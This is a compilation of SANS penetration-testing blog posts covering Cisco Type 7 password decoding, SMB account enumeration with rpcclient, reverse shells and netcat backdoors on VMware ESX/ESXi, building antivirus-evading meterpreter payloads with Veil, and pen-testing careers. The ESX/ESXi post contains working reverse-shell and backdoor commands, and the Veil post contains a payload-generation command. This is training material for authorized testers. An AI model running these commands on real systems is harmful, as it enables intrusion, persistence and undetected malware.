Ever Crack a Password using a Cisco Device?*

[Editor’s Note: Here’s a short but sweet article by Tim Medin on using Cisco IOS’s own capabilities for decoding Type 7 passwords.  Now, you might think — “Why don’t I just use one of the conversion websites on the Internet for decoding that?”  Or, “I know a free  downloadable hacker tool that does just that.”  But, in some environments, taking sensitive passwords from devices and pasting them into free web-based tools or even downloaded computer attack tools is a BIG HUGE no-no, as you may be leaking some sensitive info to places you shouldn’t be.  Tim’s technique lets you use the router itself to decode the password.  Simple, fun, and effective.  Thanks, Tim!  –Ed.]

If you’ve done penetation testing for a while, you probably already know that the Cisco Type 7 password is easily reversible. The password is encrypted (not hashed) using the Vigenère cipher, which dates to 16th century. Moreover, the static key is known to the world (it’s dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87, if you are wondering.  You can memorize that if you want and impress your friends at the next Hacker Jeopardy event you attend).

There are plenty of tools to reverse this password, but who needs them when you have a Cisco device handy. Yes, you can reverse the password right on the Cisco device!  Lemme show you how.

If we have the encrypted value of 0539030E2D405725490B10220A1F173D24362C72 here are the commands to decrypt the password on your Cisco device:

cisco# conf t
cisco(config)# key chain thisisatest
cisco(config-keychain)# key 1
cisco(config-keychain)# key-string 7 0539030E2D405725490B10220A1F173D24362C72
cisco(config-keychain)# ctrl+z
cisco# show key chain
Key-chain thisisatest:
    key 1 -- text "ReallyL0ngPassword!"

We start by entering configuration mode via “conf t” (short for configure terminal). We then create a new key chain named “thisistest” (the name doesn’t matter). We then tell the device that we are providing a key-string and that it is a type 7 password. Finally, exit configuration mode with ctrl+z and display the key chain. Boom, the password is ReallyL0ngPassword!.

Since you were likely not born in a barn, and your mom doesn’t work here, you should clean up after yourself. To do this simply enter back into configuration mode and remove the keychain with the “no” prefix to the command.

cisco# conf t
cisco(config)# no key chain thisisatest
cisco(config-keychain)# ctrl+z

Super easy, and you don’t have to download a tool or expose the password to some random site on the internet.

*For pedantic people: No, it isn’t technically cracking, but the title of “Have you ever decrypted terrible, 1500s era enciphered passwords on a Cisco Systems, Inc.** network device?” would have been terrible.

** Cisco® and Cisco Systems, Inc® are registrered trademarks registered trademarks in the United States and certain other countries.***

*** Yes, Canada is another country. I learned that when I went through Canadian customs.****

**** Never tell a customs agent, “You take this whole other country thing very seriously, huh?”

Join me for SEC560: Network Penetration Testing and Ethical Hacking at
SANS Boston 2013!  Boston, MA on Monday, Aug 5 – Saturday, Aug 10, 2013 or
SANS Golden Gate 2013  San Francisco, CA on Dec 16, 2013 – Dec 21, 2013.

–Tim Medin
Counter Hack

Plundering Windows Account Info via **Authenticated** SMB Sessions

Rpcclient is Your Friend!

By Ed Skoudis

I absolutely adore the Server Message Block (SMB) protocol.  Sure, it’s ugly and bewilderingly complex.  But, what I love is the raw power SMB provides for manipulating Windows environments during a penetration test.  Via SMB, you can remotely access file shares, the registry, services, domain authentication, and much more!  What’s not to like?  Well, the ugliness and complexity, but we can overlook those with a few good tools, right?

One of the best tools for thoroughly plundering a Windows target via SMB is the Linux rpcclient command, part of the Samba suite.  The rpcclient program was originally designed for troubleshooting and debugging Windows and Linux Samba daemon configurations, but we can leverage its capabilities in a penetration test (or even a vulnerability assessment or audit) to gather some awesome info.

Chris Gates, at the Carnal0wnage blog, posted a few excellent articles (including this one here and another one here) about using rpcclient to interrogate target Windows machines across NULL SMB sessions.   A NULL SMB session has a blank user name and a blank password.  However, most modern Windows systems by default prohibit enumerating detailed user information across a NULL SMB session (controlled by the HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous, RestrictAnonymousSAM, and EveryoneIncludesAnonymous registry keys).

Some pen testers I’ve met think that because NULL sessions are increasingly extinct, stuff like rpcclient isn’t useful.  But, hey… as long as you have just one user name and its associated password (local or domain) for the target environment, you can make AUTHENTICATED SMB sessions (non-NULL).  Even if your user and password are NOT in the admin group or domain admin group, you can still get a HUGE amount of information via an authenticated, non-admin SMB session to a target machine in the environment, plundering all kinds of stuff, including user names, group memberships, Security Identifiers (SIDs), and even last logon events.  I’d like to show you how, as well as how a defender can squelch incoming SMB sessions in real-time on a Windows box.

First, you’ll need to get a user name and password.  In a crystal box penetration test or an internal audit, you may be given one by target system personnel as part of your planning activities.  If not, try to ask for one, explaining that you want to see if this limited user can break out of their constraints and take over the target environment, modeling what would happen if an insider tries to attack, or an outsider exploits an employee’s account.

If those arguments still don’t get you a non-admin user name and password, you could try to do some brute force guessing, using a tool like Metasploit’s auxiliary/scanner/smb/smb_login module, which can be configured to do guessing of passwords from a list.

Once you have a user name and password and open SMB access of a target Windows client or server over TCP port 445, you can use rpcclient to open an authenticated SMB session to a target machine by running the following command on your Linux system (rpcclient is built into many Linux distros by default):

$ rpcclient –U <username> <WinIPaddr>

If you had used a NULL Session, you would have entered a username of “”.  But, instead, use a real user name (which doesn’t have to be in the admin group).  When prompted for the password, enter it, and you’ll see the funky rpcclient prompt (I say it is funky, because of it’s $> notation):

rpcclient $>

Now, you have a whole freaking candy store of yummy SMB commands at your fingertips.  Just type “help” to see all of the over 100 commands.  Yeouch.  Nice.

(I have seen, on rare occasions, rpcclient refuse to connect unless it has the name of the target Windows machine inside of /etc/hosts.  If it doesn’t work, simply append into /etc/hosts a line that has the IP address of the target Windows machine and the hostname of that machine.)

I’d like to show you some of the most useful commands within rpcclient.  First off, let’s get the version of the target Windows machine:

rpcclient $> srvinfo     Wk Sv NT PtB
platform_id     :       500
os version      :       6.2
server type     :       0x11003

You can look up the different server version types here.  As we can see, we’ve got an OS version of 6.2, so it’s a Windows 8 or Windows Server 2012 machine.  In this case, it just so happens to be Windows 8.

Now, let’s slurp up some users.  Start by typing “enum” at the prompt and hitting <tab><tab>:

rpcclient $> enum

enumalsgroups  enumdomains    enumdrivers    enumkey     enumprivs
enumdata       enumdomgroups  enumforms      enumports   enumtrust
enumdataex     enumdomusers   enumjobs       enumprinter

Nice!  On most Linuxes, we have tab auto-complete of commands, which extends into rpcclient commands.   And, yes, this little rpcclient shell can clear the screen with a CTRL-L.  To enumerate users, run the following command:

rpcclient $> enumdomusers

user:[Administrator] rid:[0x1f4]
user:[Fred] rid:[0x3e9]
user:[Guest] rid:[0x1f5]
user:[HomeGroupUser$] rid:[0x3eb]
user:[lab] rid:[0x3ec]
user:[stuff] rid:[0x3f1]
user:[test] rid:[0x3f5]

Here, we can see the user names as well as their RID (the suffix of their SID) in hexadecimal form.

Now, let’s look at groups.  For this, we’ll first enumerate domain groups (with “enumalsgroups domain”) and then builtin groups (with “enumalsgroups builtin”).  The union of these two sets are the groups that this target knows about.  By the way, the “als” between enum and groups in this command refers to “aliases”.  Windows treats some group names as aliases.

rpcclient $> enumalsgroups domain
group:[HomeUsers] rid:[0x3ea]
group:[WinRMRemoteWMIUsers__] rid:[0x3e8]

rpcclient $> enumalsgroups builtin
group:[Administrators] rid:[0x220]
group:[Backup Operators] rid:[0x227]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Guests] rid:[0x222]
group:[Hyper-V Administrators] rid:[0x242]
group:[IIS_IUSRS] rid:[0x238]
group:[Power Users] rid:[0x223]
group:[Remote Desktop Users] rid:[0x22b]
group:[Remote Management Users] rid:[0x244]
group:[Users] rid:[0x221]

Again, we see the group name and the RID for each group.

To determine a full SID, you could run the “lookupnames” command.  Here, I’ll do it for the administrator account and then the administrators group:

rpcclient $> lookupnames administrators
administrators S-1-5-32-544 (Local Group: 4)

rpcclient $> lookupnames administrator
administrator S-1-5-21-728759338-17244630-2184799192-500 (User: 1)

There is likewise a lookupsids command that converts a SID to a username.

Now, wanna see something really cool?  We can use the queryuser command to get all kinds of details about an individual user based solely on the user’s RID in decimal form (rpcclient annoyingly switches between hex RIDs and decimal RIDs in its output and between different commands).  Remember how the original admin user on a Windows machine has a RID of 500, no matter the current user’s name?  Well, watch this:

rpcclient $> queryuser 500
User Name   :   Administrator
Full Name   :
Home Drive  :
Dir Drive   :
Profile Path:
Logon Script:
Description :   Built-in account for administering the computer/domain
Comment     :
Remote Dial :
Logon Time               :      Thu, 26 Jul 2012 03:22:17 EDT
Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time             :      Wed, 31 Dec 1969 19:00:00 EST
Password last set Time   :      Thu, 26 Jul 2012 03:27:04 EDT
Password can change Time :      Wed, 31 Dec 1969 19:00:00 EST
Password must change Time:      never
user_rid :      0x1f4
group_rid:      0x201
acb_info :      0x00000211
fields_present: 0x00ffffff
logon_divs:     168
bad_password_count:     0x00000000
logon_count:    0x00000001

Note here that the output shows the last logon time for the user, as well as the Password last set Time.  That kind of stuff is immensely valuable for auditors and penetration testers alike.  And, the best part here is that you can get all of this information without an admin user name and password.  With simply a non-admin account and SMB access, rpcclient can plunder all of this and much more from a target Windows machine.  Note that the Dec 1969 dates are references to fields that are not set by Windows.

I’d like to encourage you to explore rpcclient further, checking out the multitude of additional commands and applying them in clever ways in your own penetration testing, vulnerability assessment, and audit work.  If you come up with something cool, please let us know in the comments below.

Oh, and as a final note, if you are ever on a Windows machine and suspect that someone has established a nasty SMB session to you, you can get a list of all inbound SMB sessions into your machine by running the following command on Windows:

C:\> net session
Computer User name Client Type Opens  Idle time
\\ TEST Unix        6   00:02:53

The command completed successfully.

Check out that Client Type: Unix.  Nice.  Our attacker is using Samba tools.

You can squash that SMB session coming into your Windows by running:

C:\> net session \\[LinuxIPaddr] /del

You’ll be prompted to verify you really want tear this session down.  Hit y and it’ll go away.   Or, if you use a /y in the original command, it won’t even prompt you before killing the session.

Now that I’ve killed that session, let’s see what happens with good old Mr. rpcclient when I try to run an srvinfo again over on my Linux box:

rpcclient $> srvinfo
write_data: write failure. Error = Connection reset by peer
write_socket: Error writing 158 bytes to socket 3: ERRNO = Connection reset by peer
Error writing 158 bytes to client. -1 (Connection reset by peer)
rpc_api_pipe: Remote machine pipe \srvsvc fnum 0x4001 returned critical error. Error was Write error: Connection reset by peer
result was DOS code 0x0000003b
rpcclient $>

Bah!  Windows killed the SMB session, shutting rpcclient out.

Of course, the attacker can jump back in with rpcclient again.  The defender can block that by configuring the built-in Windows firewall to block TCP port 445, but that would block any legit user’s inbound SMB session.  If you’d like to have a little more fun as a defender, you can play whack-a-mole with SMB sessions, using a Windows FOR loop to kill SMB sessions from your attacker every 1 second.  That’s sure to make the attacker scratch his head in annoyance:

C:\> FOR /L %i in (1,0,2) do @net session \\[LinuxIPaddr] /del /y & ping -n 2>nul

Here, I’m running a FOR /L loop, which is a counter.  It starts counting at 1, counts in steps of 0, up to 2.  Thus, it’ll keep running forever if we want it to.  I declare a %i iterator variable that I don’t ever use, but the syntax requires me to declare it.  At each iteration of the loop, I drop the SMB session and then ping localhost twice, which introduces a 1-second delay.  The first ping happens nearly instantly, the second one happens one second later.  Our attacker will make a session, it’ll last for a second, and then get blown up.

If you like this kind of topic, I’d encourage you to take a SANS Penetration Testing course, such as our SANS SEC504 course on Hacker Attacks, Exploits, and Incident Handling or our SANS SEC560 course on Network Penetration Testing and Ethical Hacking.  You can take the courses anytime, online, OnDemand.

Thank you–

–Ed Skoudis

SANS Pen Test Curriculum Lead
Founder, Counter Hack
Director, SANS NetWars & CyberCity Projects

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Setting up Backdoors and Reverse Shells on VMware Hypervisors

[Editor’s Note: In this article, Dave Shackleford talks about how penetration testers can take advantage of some really useful capabilities of the Linux-derived and Linux-like structure of VMware’s virtualization infrastructure to set up backdoors to access a VMware hypervisor machine.  He covers some classic ESX stuff along with some techniques for the VMware ESXi hypervisor.  It’s a great application of some incredibly useful ideas.  Thanks, Dave! –Ed.]

By Dave Shackleford

While many pen testers will undoubtedly come across virtualized systems, most will only encounter VMware hypervisor platforms like ESX and ESXi when testing internally or after pivoting internally from an external compromise. Another great way to come in contact with VMware hypervisors is to target the administrators themselves, usually through social engineering tactics.

But, as a professional penetration tester, why would you care to attack this virtual stuff? Well, aside from the benefits of “owning” the hypervisor itself (accessing management platforms, accessing storage infrastructure, exfiltrating virtual machine files, changing configuration, etc.), you may be able to use the hypervisor as a pivot point to access numerous sensitive areas of the network as well. All in all, this is a great target to focus on to demonstrate serious business risk in a target environment — letting penetration testers provide excellent value in helping improve the state of security.

Most organizations enable SSH on their VMware hypervisors for remote management and access. While the majority of VMware administrators use the vendor-provided client and management server most of the time, many also enable SSH for command-line access or a “safety net” for administration and control. This SSH access is usually only visible on a dedicated management network, so you may need to have access to this network before targeting the hypervisors themselves. If you can compromise credentials (or guess/brute force them) to access the hypervisor command line though, you can set up a nice backdoor shell using techniques covered in the SANS SEC504 and SEC560 courses!

For ESX, VMware’s older hypervisor platform, you have a few more options available to you, since the ESX Service Console is based on Red Hat Enterprise Linux. This service console has /dev/tcp installed (which is just beautiful for attacking), so you can set up a simple reverse shell with the following command:

[root@esx]# /bin/bash -l > /dev/tcp/<your IP address>/<your port> 0<&1 2>&1

Set up a Netcat listener on your system and that reverse shell from the ESX server will connect right back. So, for example, you would set up a Netcat listener on your own machine at on port 3333:

[root@attacker]# nc -l -p 3333

On the target ESX system, you would type the following:

[root@esx]# /bin/bash -l > /dev/tcp/ 0<&1 2>&1

There is one hurdle, however. You will need to open an outbound firewall port on ESX first, unless you can use a common port like 80 or 443 that may already be allowed outbound. To open outbound TCP port 3333, type the following command (“vmservice” is an arbitrary port/service name you can assign the firewall rule… I’ve given it that name because it sounds innocuous and all official-like):

[root@esx]# esxcfg-firewall -o 3333,tcp,out,vmservice

That’s it for ESX! So, what about ESXi, you ask? Well, the newer VMware platform is a little trickier, but also has some surprising hidden gems available to us! Opening a firewall rule takes a bit more effort, and this VMware KnowledgeBase article can get you started. Let’s say you opened 31337 inbound this time, then on the ESXi platform, you would run the following:

[root@esxi]# mknod backpipe p

Here, we created a simple named pipe object to handle standard in and standard out. Now comes the biggest surprise! ESXi has a limited version of Netcat built right in! That’s super convenient for penetration testers.  Run the following to open a backdoor to a /bin/sh shell on port 3333:

[root@esxi]# /bin/sh 0<backpipe | nc -l 31337 1>backpipe

Then, on the attacker system, use a Netcat client to connect to the listener (in this example the ESXi IP address is, which has had a shell “attached” to it using our named pipe backdoor contraption above:

[root@attacker]# nc 31337

That should do it! In most cases you won’t get a shell prompt, so just type commands. Be careful, of course, if and when you are making any changes to hypervisor platforms, that you ensure that they are in scope for your test scenario.

–Dave Shackleford
Sr. SANS  Instructor  and founder of Voodoo Security

Anti-Virus Evasion: A Peek Under the Veil

[Editor’s Note: In this article, Mark Baggett summarizes some of the Anti-Virus evasion tactics of the past year or two, and then cranks it up a notch, by digging into the details of some recent AV-dodging techniques useful to penetration testers.  To be effective penetration testers, we need to model the techniques used by the real-world bad guys, and anti-virus evasion is high on the bad guys’ list of things to do to remain undetected in target organizations.  Mark builds up to showing how to use Veil for AV evasion, step-by-step, and also discusses how to leverage Veil all in a single command.  Nice work, Mark! –Ed.]

By Mark Baggett

Back in October 2011 on the SANS penetration testing blog, I shared a little technique I had been sitting on for a while for bypassing antivirus software.  Check it out here:  http://pen-testing.sans.org/blog/2011/10/13/tips-for-evading-anti-virus-during-pen-testing.  The technique is to embed a payload, that would otherwise be detected by antivirus software into a Python script, in its ASCII form and then execute the code directly from memory.  The technique is very effective and still works very well today.

For many years, I kept this as a closely guarded secret because as soon as you share AV evasion techniques, they tend to lose their value.  The AV companies respond by tweaking their products to single-out your latest plot, and I wanted to continue to use the technique in my own penetration tests.  With the flamer virus and other malware samples distributing interpreters, it appeared the gig was up and AV vendors were going to be all over the technique.  I guess I underestimated the difficulty of distinguishing ASCII encoding shellcode from non-malicious software, because today it continues to remain a useful technique.

Then in August 2012, Dave Kennedy released PyInjector.  PyInjector creates a Python executable with an embedded ASCII payload in it, but it uses standard Windows API calls to put the payload in memory and execute it.  This is a much different approach from the technique I used. Since it is calling the Windows API to place the shell in memory, it works on 64-bit systems.  The technique I shared does not work on 64-bit systems without some additional manipulation of data and function calls.  The downside to PyInjector using the standard API calls, though, is that a HIPS system that is watching for those calls may detect the injection.

Fast forward to May 2013 when Chris Truncer released Veil.  Veil is a Python program that attempts to automate the creation of AV-evading payloads in a new framework.  Information and tutorials on the framework are available at http://www.veil-evasion.com and the framework itself can be downloaded from Chris’ github at https://github.com/ChrisTruncer/Veil/.  An archive of the project is downloadable here: https://github.com/ChrisTruncer/Veil/archive/master.zip.

The framework can be installed by running the following four commands in a Kali Linux virtual machine:

# wget https://github.com/ChrisTruncer/Veil/archive/master.zip
# unzip master.zip
# cd Veil-master/setup

(Note:  You need to be in that directory to run the setup, hence my cd command.  The setup script uses relative paths to call into the ../config directory).  Now, get things started by running:

# ./setup.sh

Then change to the “Veil-Master” directory and launch the ./Veil  python script.  The Veil window will appear.  You see that today it has 16 payloads:

You can obtain a list of all the payloads with the “list” command:

The payloads include PyInjector-style payload injection with or without encryption and PowerShell injection of payloads.  Both of these methods are very effective for AV evasion.  I am a Python snob, so I want to use the python/AESVirtualAlloc payload.  This method will use the PyInjector style of injection with AES encryption of the payload.  I type “use python/AESVirtualAlloc” and press Enter.  It loads that component, as shown below:

Next, I issue the “generate” command and press enter to create the executable.  Veil needs to know what payload I want to use, so it will ask you a series of questions.

Veil is very user friendly and chooses some good defaults for you.  After answering a few questions about our payload, Veil then asks some question about the executable you want to create.  First, you provide Veil with a name for your executable, and then you tell it if you want to use PyInstaller or py2exe to create an executable.

After choosing PyInstaller, Veil does the rest of the work for you.  It produces the following output screen that tells you about the executable you have created.   The screen even includes some EXCELLENT advice and suggests that you DO NOT submit your sample to online virus scanning engines such as VirusTotal.com that will, in turn, share your payload with antivirus companies, getting your new payload detected by anti-virus companies likely within days or less.

To avoid distribution to anti-virus vendors, you can use http://vscan.novirusthanks.org.  That site will scan uploaded files for malware detection, and offers you a check box that says “Do not distribute the sample”.  The results are WONDERFUL!  0/14 scanners detect the payload.

The Python programmers reading this will certainly appreciate the source code that is produced.  Look at this beautiful hot mess of a program!  All the variable names are randomized.  The payloads are encrypted and encoded.  It is awesome!

But, wait: it gets even better!  All of the functionality within the Veil framework is accessible directly from the command line, so you don’t have to use the console to generate these payloads.  I can generate the same payload by running the following single command:

# ./Veil.py -l python -p AESVirtualAlloc -o trytofindthis --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST= LPORT=443

With this command-line-style interface, you can bypass the menu system of Veil, and script up all kinds of powerful goodness.

Kudos to Chris and the other developers working on Veil for creating an excellent tool.   Chris recently gave a technical segment to my good friends over at Pauldotcom.  Check that out here: http://pauldotcom.com/wiki/index.php/Episode333

Do you wish you knew a bit more about how to leverage the power of Python code in your penetration tests?  Check out SANS new Python for Penetration testers course.  https://www.sans.org/course/python-for-pen-testers

The course will be running in Vegas this September.   Sign up today!  https://www.sans.org/event/network-security-2013/course/python-for-pen-testers

–Mark Baggett

Follow me on Twitter @MarkBaggett


So You Wanna Be a Pen Tester? 3 Paths To Consider


(Blog Updated: 1/10/18)

Tips for Entering the Penetration Testing Field

By Ed Skoudis

It’s an exciting time to be a professional penetration tester. As malicious computer attackers amp up the number and magnitude of their breaches, the information security industry needs an enormous amount of help in proactively finding and resolving vulnerabilities. Penetration testers who are able to identify flaws, understand them, and demonstrate their business impact through careful exploitation are an important piece of the defensive puzzle.

In the courses I teach on penetration testing, I’m frequently asked about how someone can land their first job in the field after they’ve acquired the appropriate technical skills and gained a good understanding of methodologies. Also, over the past decade, I’ve counseled a lot of my friends and acquaintances as they’ve moved into various penetration testing jobs. Although there are many different paths to pen test nirvana, let’s zoom into three of the most promising. It’s worth noting that these three paths aren’t mutually exclusive either. I know many people who started on the first path, jumped to the second mid-way, and later found themselves on path #3. Or, you can jumble them up in arbitrary order.

Path A: General Enterprise Security Practitioner Moving to Penetration Testing

First, you could parlay a job in the security group of an enterprise (whether a corporate, government, or educational position) into vulnerability assessment and then penetration testing. For example, today, you may be a security auditor, administrator, analyst, or a member of a Security Operations Center (SOC) team. Tell your management that you are keenly interested in vulnerability assessment and penetration testing, and offer your support in existing projects associated with those tasks. You might have to start by taking one for the team and putting in your own hours in helping out, without getting a break from your “regular” job. Consider this extra time an investment in yourself. At first, you could help with tasks such as project scoping, false positive reduction, and remediation verification. Later, offer help in preparing a high-quality penetration testing report. Over the space of several months or even a year, you’ll demonstrate increasing skills and can ask management or other groups in your enterprise for a move more directly in the heart of penetration testing work.

Path B: Working for a Company or Division that Focuses on Penetration Testing

There are many companies that provide third-party penetration testing services to other companies, including organizations such as Verizon, Trustwave, and FishNet Security. Many of these organizations are looking to hire exceptional penetration testers, especially those who have experience. If you have no direct penetration testing experience, you may still want to try your hand by applying for a junior role in such organizations. A solid background in secure networking, development, or operations will prove helpful. But, if experience is absolutely required, consider moving through Paths A or C to hone your skills before jumping to Path B.

Path C: Going Out on Your Own

If you are more entrepreneurially minded, you may want to consider forming your own small company on the side to do vulnerability assessment for local small businesses, such as a local florist or auto mechanic. Start with just vulnerability assessment services, and build your skills there before going into full-blown penetration testing. There are a couple of huge caveats to take into account with this path, though. First off, make sure you get a good draft contract and statement of work template drawn up by a lawyer to limit your liability. Next, get some liability and errors & omissions insurance for penetration testing. Such protection could cost a few thousand dollars annually, but is vital in doing this kind of work. Once you’ve built your vulnerability assessment capabilities, you may want to gradually start looking at carefully exploiting discovered flaws (when explicitly allowed in your Statements of Work) to move from vulnerability assessment to penetration testing. After your small business is humming, you may decide to stick with this path, growing your business, or jump into Paths A or B.

Regardless of whether you go down paths A, B, C, or your own unique approach to entering the penetration testing industry, always keep in mind that your reputation and trustworthiness are paramount in the information security field. Your name is your personal brand, so work hard, be honest, and always maintain your integrity. Additionally, build yourself a lab of four or five virtual machines so you can practice your technical skills regularly, running scanners, exploitation tools, and sniffers so you can understand your craft at a fine-grained level. Learn a scripting language such as Python or Ruby so you can start automating various aspects of your tasks and even extend the capabilities of tools such as the Metasploit framework. And, most of all, give back to the community by writing a blog, sharing your ideas and techniques, and releasing scripts and tools you’ve created. You see, to excel in pen testing, you can’t think of it as a job. It is a way of life. Building a sterling reputation and contributing to others is not only beneficial to the community, but it will provide many direct and indirect benefits to you as you move down your path from new penetration tester to seasoned professional.


Additional SANS Penetration Testing Resources

Upcoming SANS Webcasts:

Being Offensive in the Workplace – presented by Derek Rook – March 29th, 2018 – 3:30pm EST

Hitting every rock on the way down: A look back at 15 years of pentesting with John Strand – presented by instructor, John Strand – April 12th, 2018 – 3:30pm EST

So, You Wanna Be a Pen Tester? 3 Paths to Consider – presented by instructor, Ed Skoudis – June 19th, 2018 – 3:30pm EST



Pen Test Cheat Sheets:









SANS Pen Test Posters:

Blueprint: Building a Better Pen Tester – PDF Download

White Board of Command Line Kung-Fu – PDF Download

Attack Surfaces – PDF Download



Build your Skills (Free):

www.holidayhackchallenge.com – Available 24/7/365 to build your InfoSec skills. Holiday-themed challenges from the makers of SANS NetWars and our Penetration Testing Course.

http://www.amanhardikar.com/mindmaps/Practice.html – A massive and up-to-date list of places to practice InfoSec skills online



SANS Penetration Testing Webcasts:

How Not to Suck at Pen Testing – presented by SANS Instructor, John Strand

How to Give the Best Pen Test of Your Life – presented by SANS Fellow,  Ed Skoudis

Which SANS Pen Test Course Should I Take? – Feb 2018 Edition – presented by Ed Skoudis and Joshua Wright. Includes bonus content, “How to Reverse Mobile Apps”

Build your Own Home Lab  – presented by SANS Instructor, Jeff McJunkin. Jeff walks through a step-by-step process for building your own home lab so that you can develop the skills you need to be a professional penetration tester.

Blueprint: Building a Better Pen Tester – presented by SANS Fellow, Ed Skoudis. Listen as Ed teaches penetration testing by using the tips on the SANS Pen Test Poster – Blueprint (PDF).

Physical Security – Everything Wrong With Your Typical Door – presented by Deviant Ollam. This is a great introduction to physical pen testing.

SANS Penetration Testing YouTube Channel – filled with numerous SANS Webcasts and InfoSec Conference talks given by SANS Penetration Testing Instructors.



SANS Pen Test Training:

SEC560: Network Penetration Testing and Ethical Hacking – our core penetration testing course. Prepare for GIAC – Penetration Testing Certification (GPEN)

SEC542: Web App Penetration Testing and Ethical Hacking – introduction to intermediate web application penetration testing. Prepare for GIAC – Web Application Penetration Tester Certification (GWAPT)





I am teaching SEC560: Network Penetration Testing and Ethical Hacking  at SANS Pen Test Austin in March 2018.


SANS Pen Test Austin 2018 – Training Event:


  • Choose from 12 world-class training courses w/ our best instructors!
  • Play in (3) Nights of NetWars
  • Join a team as you hack/defend SANS CyberCity
  • Enjoy a special night of networking and fun for all attendees
  • Earn up to (5) SANS Pen Test Challenge Coins during Coin-A-Palooza
  • March 19 – 24, 2018 – Austin, TX
  • Learn more: www.sans.org/pentest